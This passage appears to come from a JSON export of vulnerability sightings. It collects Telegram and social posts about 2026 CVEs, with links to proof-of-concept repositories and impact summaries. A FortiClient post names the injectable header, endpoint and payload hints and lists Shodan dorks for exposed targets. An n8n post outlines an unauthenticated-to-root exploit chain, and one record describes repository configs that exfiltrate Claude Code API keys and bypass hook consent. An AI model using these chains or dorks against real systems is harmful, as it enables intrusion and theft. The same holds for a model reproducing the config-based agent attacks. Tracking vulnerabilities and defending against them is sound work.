inetutils-telnetd \u2013 Authentication Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/JayGLXR/CVE-2026-24061-POC\n\n\ud83e\udde0 Overview\nA flaw in telnetd allows attackers to bypass authentication by injecting crafted environment variables using the NEW_ENVIRON option.\n\n\u2699\ufe0f Impact\n\u2022 Authentication bypass\n\u2022 Remote root shell access\n\u2022 Critical infrastructure exposure\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-25755\n\ud83c\udfaf jsPDF \u2013 PDF Object Injection\n\n\ud83d\udd17 PoC / Research\nhttps://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md\n\n\ud83e\udde0 Overview\nA vulnerability in jsPDF allows attackers to inject arbitrary content into generated PDF files due to improper input sanitization.\n\n\u2699\ufe0f Impact\n\u2022 Malicious PDF injection\n\u2022 Security control bypass\n\u2022 Document-based attack vector\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-21509\n\ud83c\udfaf Microsoft Office \u2013 Security Feature Bypass\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/gavz/CVE-2026-21509-PoC\n\n\ud83e\udde0 Overview\nA crafted Office document can bypass certain security protections, enabling potential malicious payload delivery.\n\n\u2699\ufe0f Impact\n\u2022 Security feature bypass\n\u2022 Malicious document vector\n\u2022 Detection evasion scenarios\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Vulnerability research\n\u2022 Exploit development study\n\u2022 Patch analysis\n\u2022 Red team / blue team exercises\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:05.521790Z"}, {"uuid": "a3893192-037a-4ab1-b0bf-4aa569f97a58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "seen", "source": "https://t.me/CyberSecurityExploit/30246", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Fresh Collection)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories, collected and verified from GitHub.\n\n\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-32941\n\ud83c\udfaf Sliver C2 \u2013 Remote Denial of Service (OOM Crash)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/skoveit/CVE-2026-32941\n\n\ud83e\udde0 Overview\nA vulnerability in the Sliver C2 framework allows attackers to trigger a remote Out-of-Memory (OOM) crash by abusing uncontrolled memory allocation.\nThe flaw occurs due to trusting attacker-controlled message size values, enabling allocation of extremely large memory blocks.\n\n\u2699\ufe0f Impact\n\u2022 Remote Denial of Service\n\u2022 C2 infrastructure disruption\n\u2022 Potential full operation shutdown\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/fartlover37/CVE-2026-2441-PoC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink CSS engine allows attackers to execute arbitrary code within the browser sandbox.\nThe PoC triggers memory corruption through CSS manipulation and layout recalculation.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Active exploitation confirmed\n\u2022 Potential exploit chain to full system compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-21992\n\ud83c\udfaf Web Application Vulnerability \u2013 Exploit PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/TEXploited/CVE-2026-21992\n\n\ud83e\udde0 Overview\nA newly published PoC demonstrates exploitation of a web-based vulnerability (details vary depending on deployment).\nThe repository includes exploit logic useful for testing input validation and server-side handling weaknesses.\n\n\u2699\ufe0f Impact\n\u2022 Web application compromise\n\u2022 Potential RCE / data exposure\n\u2022 Useful for exploitation research\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-3888\n\ud83c\udfaf Application-Level Vulnerability \u2013 PoC Exploit\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/netw0rk7/CVE-2026-3888-PoC\n\n\ud83e\udde0 Overview\nA Proof-of-Concept demonstrating exploitation of a recently disclosed vulnerability affecting application-level logic.\nThe PoC provides a working example of triggering abnormal behavior through crafted requests.\n\n\u2699\ufe0f Impact\n\u2022 Service disruption\n\u2022 Input validation bypass\n\u2022 Attack surface expansion\n\n\u2796\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-32746\n\ud83c\udfaf System / Application Vulnerability \u2013 Research PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/jeffaf/cve-2026-32746\n\n\ud83e\udde0 Overview\nThis repository provides a PoC targeting CVE-2026-32746, demonstrating potential exploitation paths and abnormal system behavior.\n\n\u2699\ufe0f Impact\n\u2022 Potential privilege abuse\n\u2022 System instability\n\u2022 Research and testing value\n\n\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\nThese PoCs are useful for:\n\u2022 Real-world exploit analysis\n\u2022 Red team / blue team exercises\n\u2022 Patch validation testing\n\u2022 Vulnerability research workflows\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use vulnerability research for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:06.244091Z"}, {"uuid": "d17e2826-08c4-49e7-bac4-5d0058561866", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21852", "type": "seen", "source": "https://t.me/CyberSecurityExploit/29859", "content": "\ud83d\udee1 CVE-2026-21852-PoC (Educational Demo Repo)\n\ud83d\udce6 Repository: atiilla/CVE-2026-21852-PoC\n\ud83d\udc49 https://github.com/atiilla/CVE-2026-21852-PoC\n\nThis repository demonstrates historical PoC patterns for vulnerabilities in the Anthropic Claude Code CLI tool, including CVE-2026-21852, designed for educational purposes only.\n\n\ud83d\udccc What This Repo Contains\n\ud83d\udcc2 Demo directories for historical bugs\nExamples show how malicious config files can influence tool behavior\n\n\ud83d\udc0d Python scripts:\n\u2022 attacker_server.py \u2013 Local server to capture and log simulated traffic\n\u2022 attacker_proxy.py \u2013 Proxy for observing exfiltration behavior\n\u2022 scanner.py \u2013 Scanner to detect risky patterns in local repositories\n\n\ud83d\udcc1 Demo content directories include:\n\u2022 vuln1_hooks_bypass/\n\u2022 CVE-2025-59536_mcp_injection/\n\u2022 CVE-2026-21852_api_exfil/\n(Configuration files under these folders illustrate pattern examples.)\n\n\ud83e\udde0 Vulnerabilities Covered\nThe project explores multiple vulnerabilities historically disclosed for Claude Code CLI:\n\u26a0\ufe0f Hooks consent bypass \u2013 bypasses consent mechanisms (older build)\n\u26a0\ufe0f CVE-2025-59536 \u2013 MCP config injection \u2013 orchestration config risk\n\u26a0\ufe0f CVE-2026-21852 \u2013 API key disclosure \u2013 config causes API key to be sent before trust verification\nThe vulnerability CVE-2026-21852 identified that malicious repository settings could exfiltrate API keys prior to showing a trust prompt in affected Claude Code versions.\n\n\ud83c\udfaf How the Repo Can Be Used (Education Only)\n\ud83d\udccc Scanner\npython3 scanner.py \nDetects dangerous config patterns that could be risky before opening repositories.\n\n\ud83d\udccc Local Demo Server\npython3 attacker_server.py\nSimulates a server to log simulated exfiltration traffic.\n\n\ud83d\udccc Proxy Demo\npython3 attacker_proxy.py\nTransparent proxy to illustrate capture behavior.\n\n\ud83e\udde0 What You Learn Here\n\u2714\ufe0f How untrusted configuration files can impact tool behavior\n\u2714\ufe0f Why verifying repository contents before opening is important\n\u2714\ufe0f The concept of pre-execution key leakage (API exfiltration)\n\u2714\ufe0f How scanners can detect repository risk patterns\nThese skills are valuable in secure dev workflows, supply chain security, and blue team defensive validation.\n\n\u26a0\ufe0f Important Notes (Responsible Use)\n\u2705 This repository is for security research and learning only.\n\u274c Do NOT deploy these scripts against third-party or production systems.\n\u274c Never open untrusted repositories in real tools without inspection.\n\u2696\ufe0f Always practice ethical/authorized testing and use isolated lab environments.\n\n\ud83d\udccc Additional Reference: CVE-2026-21852 Description\n\ud83d\udccc The vulnerability CVE-2026-21852 pertains to an information disclosure issue in Claude Code \n       where repository settings could cause premature API calls before trust confirmation, risking API key exfiltration.\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T11:00:07.335128Z"}, {"uuid": "6308cca7-602d-4fd5-874b-d77f4682a2a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "Telegram/9p3OCYA2gPvpSRgsWdiENIOPl2jc7APUWoAxqJhsRixh", "content": "", "creation_timestamp": "2026-08-19T23:00:03.859147Z"}, {"uuid": "2fbd4c47-9964-4ba5-bd2b-7d06c4f8da1a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "Telegram/b4BMAVePcIMGfohzGQhWtyN_zXxw5WptjEDnwtKqa6lc", "content": "", "creation_timestamp": "2026-08-19T23:00:03.961548Z"}, {"uuid": "4040834b-5076-4a10-89d4-e3ccc29e0bd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "Telegram/eWHhrSKKILfaiyWzzeosC67a_xOSpEUGVwZtd35YCqVt", "content": "", "creation_timestamp": "2026-08-19T23:00:03.989498Z"}, {"uuid": "df575c11-9620-4e7e-a5df-3eb4de63256b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "Telegram/CBsReMpodfPVz9h3mUnGa4mfgUWVBvlQLb05-2JDq6QI", "content": "", "creation_timestamp": "2026-08-19T23:00:04.107549Z"}, {"uuid": "72bf5ba5-fad2-4584-806b-4033cb9cabf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "seen", "source": "https://t.me/CyberDispatch/1230", "content": "APT28 is targeting Ukraine and allied supply chains using a confirmed zero-day (CVE-2026-21513) and PRISMEX malware.\n\nIt also exploits CVE-2026-21509, with LNK delivery possibly chaining both flaws to enable theft and file-wiping.", "creation_timestamp": "2026-08-29T20:00:17.920858Z"}, {"uuid": "1923e019-b232-4c4b-b355-c727c320592d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21440", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/31536", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 GitHub Fresh PoC CVE TOP 5 (Today / Verified & Non-Posted Priority)\nBelow are latest 2026 CVEs with real, accessible GitHub PoC repositories only.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-0770\n\ud83c\udfaf Langflow \u2013 Unauthenticated RCE (AI Pipeline)\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/affix/CVE-2026-0770-PoC\n\n\ud83e\udde0 Overview\nLangflow executes user-controlled Python code via unsafe exec() usage, enabling unauthenticated remote code execution.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 AI pipeline compromise\n\u2022 Data exfiltration risk\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-22804\n\ud83c\udfaf Termix (Electron App) \u2013 XSS \u2192 LFI \u2192 Session Hijack\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/ThemeHackers/CVE-2026-22804\n\n\ud83e\udde0 Overview\nA stored XSS vulnerability leads to Local File Inclusion and session hijacking in an Electron-based environment.\n\n\u2699\ufe0f Impact\n\u2022 Session hijacking\n\u2022 Local file access\n\u2022 Desktop application compromise\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-41242\n\ud83c\udfaf protobufjs \u2013 Arbitrary Code Execution (Supply Chain)\n\n\ud83d\udd17 Reference\n\u27a1\ufe0f https://github.com/advisories/GHSA-xq3m-2v4x-88gg\n\n\ud83e\udde0 Overview\nImproper protobuf compilation allows injection of malicious logic, leading to arbitrary code execution in JavaScript environments.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Supply chain compromise\n\u2022 Backend system risk\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-21440\n\ud83c\udfaf AdonisJS BodyParser \u2013 Path Traversal \u2192 Arbitrary File Write\n\n\ud83d\udd17 Reference\n\u27a1\ufe0f https://github.com/topics/cve-2026-21440\n\n\ud83e\udde0 Overview\nA path traversal flaw allows attackers to write arbitrary files, which may lead to further exploitation.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file write\n\u2022 Server compromise\n\u2022 Potential RCE chaining\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-5031\n\ud83c\udfaf ISP Billing Software \u2013 IDOR \u2192 Unauthorized Access\n\n\ud83d\udd17 Reference\n\u27a1\ufe0f https://www.tenable.com/cve/CVE-2026-5031\n\n\ud83e\udde0 Overview\nImproper access control allows attackers to access restricted data by manipulating identifiers.\n\n\u2699\ufe0f Impact\n\u2022 Unauthorized access\n\u2022 Data exposure\n\u2022 Privilege abuse\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 AI/LLM exploitation (Langflow)\n\u2022 Electron-based attack chains\n\u2022 Supply chain vulnerabilities\n\u2022 File write \u2192 RCE chaining\n\u2022 Access control bypass techniques\n\n\u26a0\ufe0f Intelligence Note\nCurrent GitHub trend:\n\u2022 Rapid PoC publication after disclosure\n\u2022 AI frameworks emerging as key targets\n\u2022 Supply-chain vulnerabilities increasing\n\u2022 Exploit chains becoming more common\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T14:00:04.124611Z"}, {"uuid": "9dc0a357-3a33-43f2-8095-d6a0f901cebe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21440", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/31537", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 GitHub Fresh PoC CVE TOP 5 (Today / Verified & Non-Posted Priority)\nBelow are latest 2026 CVEs with real, accessible GitHub PoC repositories only.\n\n\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-0770\n\ud83c\udfaf Langflow \u2013 Unauthenticated RCE (AI Pipeline)\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/affix/CVE-2026-0770-PoC\n\n\ud83e\udde0 Overview\nLangflow executes user-controlled Python code via unsafe exec() usage, enabling unauthenticated remote code execution.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 AI pipeline compromise\n\u2022 Data exfiltration risk\n\n\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-22804\n\ud83c\udfaf Termix (Electron App) \u2013 XSS \u2192 LFI \u2192 Session Hijack\n\n\ud83d\udd17 PoC Repository\n\u27a1\ufe0f https://github.com/ThemeHackers/CVE-2026-22804\n\n\ud83e\udde0 Overview\nA stored XSS vulnerability leads to Local File Inclusion and session hijacking in an Electron-based environment.\n\n\u2699\ufe0f Impact\n\u2022 Session hijacking\n\u2022 Local file access\n\u2022 Desktop application compromise\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-41242\n\ud83c\udfaf protobufjs \u2013 Arbitrary Code Execution (Supply Chain)\n\n\ud83d\udd17 Reference\n\u27a1\ufe0f https://github.com/advisories/GHSA-xq3m-2v4x-88gg\n\n\ud83e\udde0 Overview\nImproper protobuf compilation allows injection of malicious logic, leading to arbitrary code execution in JavaScript environments.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Supply chain compromise\n\u2022 Backend system risk\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-21440\n\ud83c\udfaf AdonisJS BodyParser \u2013 Path Traversal \u2192 Arbitrary File Write\n\n\ud83d\udd17 Reference\n\u27a1\ufe0f https://github.com/topics/cve-2026-21440\n\n\ud83e\udde0 Overview\nA path traversal flaw allows attackers to write arbitrary files, which may lead to further exploitation.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file write\n\u2022 Server compromise\n\u2022 Potential RCE chaining\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-5031\n\ud83c\udfaf ISP Billing Software \u2013 IDOR \u2192 Unauthorized Access\n\n\ud83d\udd17 Reference\n\u27a1\ufe0f https://www.tenable.com/cve/CVE-2026-5031\n\n\ud83e\udde0 Overview\nImproper access control allows attackers to access restricted data by manipulating identifiers.\n\n\u2699\ufe0f Impact\n\u2022 Unauthorized access\n\u2022 Data exposure\n\u2022 Privilege abuse\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 AI/LLM exploitation (Langflow)\n\u2022 Electron-based attack chains\n\u2022 Supply chain vulnerabilities\n\u2022 File write \u2192 RCE chaining\n\u2022 Access control bypass techniques\n\n\u26a0\ufe0f Intelligence Note\nCurrent GitHub trend:\n\u2022 Rapid PoC publication after disclosure\n\u2022 AI frameworks emerging as key targets\n\u2022 Supply-chain vulnerabilities increasing\n\u2022 Exploit chains becoming more common\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-15T14:00:04.430631Z"}, {"uuid": "cd2a639a-7e71-4ce6-b3ac-b997e11517a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21384", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116874947514751520", "content": "A new vulnerability with increased severity was disclosed for Qualcomm Snapdragon (CVE-2026-21384) https://vuldb.com/vuln/376517", "creation_timestamp": "2026-07-06T20:36:11.193153Z"}, {"uuid": "d1ad2d7b-2951-4733-b9fa-a11d3023ed48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21369", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116875054272966899", "content": "There is a new vulnerability with elevated criticality in Qualcomm Snapdragon Auto and other products (CVE-2026-21369) https://vuldb.com/vuln/376521", "creation_timestamp": "2026-07-06T21:03:20.359033Z"}, {"uuid": "a1c2738c-9c31-4f96-8e88-bf487a290059", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21383", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-qualcomm-9", "content": "", "creation_timestamp": "2026-07-07T16:45:14.190592Z"}, {"uuid": "8394a767-cf47-4104-8338-98cb2651bab7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21379", "type": "seen", "source": "https://www.acn.gov.it/portale/w/rilevate-vulnerabilita-in-prodotti-qualcomm-9", "content": "", "creation_timestamp": "2026-07-07T16:45:16.340462Z"}, {"uuid": "304f6713-9924-4d8e-846f-598191b47dc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2100", "type": "seen", "source": "https://bsky.app/profile/selfhost.directory/post/3mq4x4jjzqo2f", "content": "\ud83d\ude80 New #release \u00b7 consul v2.0.2\n\n2.0.2 (July 8, 2026)\nSECURITY:\n\u2022 Upgrade alpine base image version to 3.24 to address [CVE-2026-41989], [ALPINE-CVE-2026-2100]. [GH-23711]\n\u2022 depend\u2026\n\nCheck and #self-host it \u2192 selfhost.directory/project/consul#update-3285562\n\n#selfhost #selfhosted #homelab #opensource", "creation_timestamp": "2026-07-08T10:50:03.816687Z"}, {"uuid": "a5162462-6042-4fc6-b658-46e20cb46897", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "seen", "source": "https://t.me/CyberDispatch/1230", "content": "APT28 is targeting Ukraine and allied supply chains using a confirmed zero-day (CVE-2026-21513) and PRISMEX malware.\n\nIt also exploits CVE-2026-21509, with LNK delivery possibly chaining both flaws to enable theft and file-wiping.", "creation_timestamp": "2026-08-29T20:00:18.144728Z"}, {"uuid": "f905a9c8-acc7-4b85-ad51-7ca4138e8b9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://t.me/brutsecurity/2605", "content": "\ud83d\udea8 Bug Bounty / Red Team Tip\n\nCVE-2026-21643 \u2014 Critical Pre-Auth SQL Injection (CVSS 9.1) in FortiClient EMS 7.4.4 (multi-tenant mode only)\n\nUnauthenticated attackers can inject arbitrary SQL via the Site HTTP header to the public endpoint /api/v1/init_consts (or login endpoint). This happens before authentication and hits the PostgreSQL backend with superuser-level access in many setups \u2192 full DB dump, schema extraction, or RCE (via PostgreSQL features like COPY FROM PROGRAM).\n\n- Affected: Only FortiClient EMS 7.4.4 (multi-tenant/Sites feature enabled)\n- Not affected: 7.2.x, 8.0.x, single-site deployments\n- Fixed: Upgrade to 7.4.5 or later\n- Status: Actively exploited in the wild + public PoCs available\n\nMain Detail Article (Highly Recommended):  \nBishop Fox deep-dive with exploitation paths, payloads (e.g., pg_sleep(5) for blind testing), and lab results \u2192  \nhttps://bishopfox.com/blog/cve-2026-21643-pre-authentication-sql-injection-in-forticlient-ems-7-4-4\n\nPublic PoC (GitHub):  \nhttps://github.com/0xBlackash/CVE-2026-21643\n\nUseful Google/Shodan Dorks:\n- http.title:\"FortiClient EMS\" \"7.4.4\"\n- http.html:\"FortiClient Enterprise Management Server\"\n- http.favicon.hash: -specific-hash (or search for EMS login page)\n- Shodan: \"Model: FCTEMS\" or \"FortiClient EMS\"\n\nQuick Check:\nIf your EMS login page is internet-facing and running 7.4.4 with multi-tenant enabled \u2192 patch ASAP or block public access. Thousands of instances are exposed (Shadowserver ~2k+, Shodan ~1k+).\n\nHigh-value target for hunters. Patch or restrict immediately!\n\n#BugBounty #RedTeam #Fortinet #CVE202621643 #SQLi", "creation_timestamp": "2026-07-09T03:00:05.673848Z"}, {"uuid": "a30d6377-0a76-49d4-8896-eed4ec59f59b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "seen", "source": "https://t.me/brutsecurity/2443", "content": "CVE-2026-21858 + CVE-2025-68613: n8n Ni8mare - Full Chain Exploit\n\nUnauthenticated to Root RCE:\n- LFI via Content-Type confusion\n- Read /proc/self/environ to find HOME\n- Steal encryption key + database\n- Forge admin JWT token\n- Expression injection sandbox bypass\n- RCE as root\n\nCVSS 10.0\n\nhttps://github.com/Chocapikk/CVE-2026-21858", "creation_timestamp": "2026-07-09T03:00:06.052933Z"}, {"uuid": "2ab4447e-9767-4395-890e-1d1a06653056", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21440", "type": "seen", "source": "https://t.me/brutsecurity/2446", "content": "\ud83c\udd98CVE-2026-21440: A critical path traversal vulnerability affecting the AdonisJS framework, specifically its multipart file upload handling.\n\n\u27a1\ufe0fPoC Exploit: https://github.com/Ashwesker/Ashwesker-CVE-2026-21440", "creation_timestamp": "2026-07-09T03:00:06.089585Z"}, {"uuid": "0f7188d8-c749-4fc7-909a-0a7c13195185", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21901", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/juniper-junos-os-multiple-vulnerabilities_20260709", "content": "", "creation_timestamp": "2026-07-09T04:46:37.642739Z"}, {"uuid": "75c79e67-687c-43be-a659-6b9f5b787c99", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21992", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityExploit/30246", "content": "\u26a0\ufe0f CVE / ZERO-DAY\n\ud83d\udd25 New GitHub PoC CVE \u2013 Research Picks (Fresh Collection)\nBelow are recent CVE vulnerabilities with publicly available Proof-of-Concept repositories, collected and verified from GitHub.\n\n\u2796\u2796\u2796\u2796\u2796\n\n1\ufe0f\u20e3 CVE-2026-32941\n\ud83c\udfaf Sliver C2 \u2013 Remote Denial of Service (OOM Crash)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/skoveit/CVE-2026-32941\n\n\ud83e\udde0 Overview\nA vulnerability in the Sliver C2 framework allows attackers to trigger a remote Out-of-Memory (OOM) crash by abusing uncontrolled memory allocation.\nThe flaw occurs due to trusting attacker-controlled message size values, enabling allocation of extremely large memory blocks.\n\n\u2699\ufe0f Impact\n\u2022 Remote Denial of Service\n\u2022 C2 infrastructure disruption\n\u2022 Potential full operation shutdown\n\n\u2796\u2796\u2796\u2796\u2796\n\n2\ufe0f\u20e3 CVE-2026-2441\n\ud83c\udfaf Google Chrome Blink \u2013 Use-After-Free (In-the-Wild)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/fartlover37/CVE-2026-2441-PoC\n\n\ud83e\udde0 Overview\nA use-after-free vulnerability in Chrome\u2019s Blink CSS engine allows attackers to execute arbitrary code within the browser sandbox.\nThe PoC triggers memory corruption through CSS manipulation and layout recalculation.\n\n\u2699\ufe0f Impact\n\u2022 Browser sandbox RCE\n\u2022 Active exploitation confirmed\n\u2022 Potential exploit chain to full system compromise\n\n\u2796\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-21992\n\ud83c\udfaf Web Application Vulnerability \u2013 Exploit PoC\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/TEXploited/CVE-2026-21992\n\n\ud83e\udde0 Overview\nA newly published PoC demonstrates exploitation of a web-based vulnerability (details vary depending on deployment).\nThe repository includes exploit logic useful for testing input validation and server-side handling weaknesses.\n\n\u2699\ufe0f Impact\n\u2022 Web application compromise\n\u2022 Potential RCE / data exposure\n\u2022 Useful for exploitation research\n\n\u2796\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-3888\n\ud83c\udfaf Application-Level Vulnerability \u2013 PoC Exploit\n\n\ud83d\udd17 PoC 